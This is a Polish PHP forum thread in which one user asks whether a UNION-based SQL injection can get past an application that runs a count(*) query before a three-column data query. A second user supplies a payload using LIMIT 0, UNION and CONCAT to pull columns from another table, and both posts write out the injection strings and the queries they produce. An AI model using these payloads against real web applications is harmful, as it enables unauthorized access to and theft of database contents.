sqlinjection z union Opcje

[nospor]

Pytanie teoretyczne:
czy jest możliwość wstawienia zapytania z union, do następującej teoretycznej sytuacji:

skrypt niezabezpieczony w zaden sposob przed sqlinjection, mozna wkladac co nam się chce.

wykonywane zapytanie:

[SQL] pobierz, plaintext 
SELECT cos, cos2, cos3 FROM tabela WHERE pole = 'cosZforma';
[SQL] pobierz, plaintext 

gdzie cosZforma to dana, która moze w formularzu dowolnie modyfikowac.

Chcac wstawic uniona, wystarczy wiec za cosZforma wstawic:
' union select c1,c2,c3 from innatabela where '1=1
w rezulatacie otrzymamy poprawne zapytanie z union

[SQL] pobierz, plaintext 
SELECT cos, cos2, cos3 FROM tabela WHERE pole = '' UNION SELECT c1,c2,c3 FROM innatabela WHERE '1=1';
[SQL] pobierz, plaintext 

pojawia sie jednak problem, gdyz nasze glowne zapytanie poprzedzane jest zapytaniem zliczającym, czyli

[SQL] pobierz, plaintext 
SELECT count(*) FROM tabela WHERE pole = 'cosZforma';
[SQL] pobierz, plaintext 

w rezulatacie po wstawieniu naszej zmiennej otrzymamy

[SQL] pobierz, plaintext 
SELECT count(*) FROM tabela WHERE pole = '' UNION SELECT c1,c2,c3 FROM innatabela WHERE '1=1';
[SQL] pobierz, plaintext 

Co wywali nam zapytanie, gdyz union dostarczy nam inną liczbę kolumn.
Skrypt dalej sie nie wykona, bo zapytanie z count(*) zwraca nam false i nie jedziemy dalej.

Czy istnieje jakies ominiecie tego? By w jednym ciągu zawrzec zarówna jedną kolumne i kilka kolumn? Tak by przeszlo zarowno przez zapytanie z count() jak i drugie pobierające dane?

ps: nie chce nikogo hackowac. Interesuje mnie, czy jest to możliwe.

[BaN]

Raczej się nie wyłoży, chyba, że czegoś nie rozumiem (IMG:http://forum.php.pl/style_emoticons/default/smile.gif)

Załóżmy, że nazwy kolumn w tej tabeli `innatabela` to c1, c2, c3

Do pola formularza można wpisać:

Kod

' LIMIT 0 UNION SELECT CONCAT(c1, SPACE(1), c2, SPACE(1), c3) FROM innatabela LIMIT 1

Zatem zapytanie będzie następujące:

[SQL] pobierz, plaintext 
SELECT count(*) FROM tabela WHERE pole = '' LIMIT 0  UNION SELECT CONCAT(c1, SPACE(1), c2, SPACE(1), c3) FROM innatabela LIMIT 1
[SQL] pobierz, plaintext 

I powinno zwrócić wartości pól c1, c2, c3 oddzielone spacjami, o ile oczywiście pola w tej tabeli tak się nazywają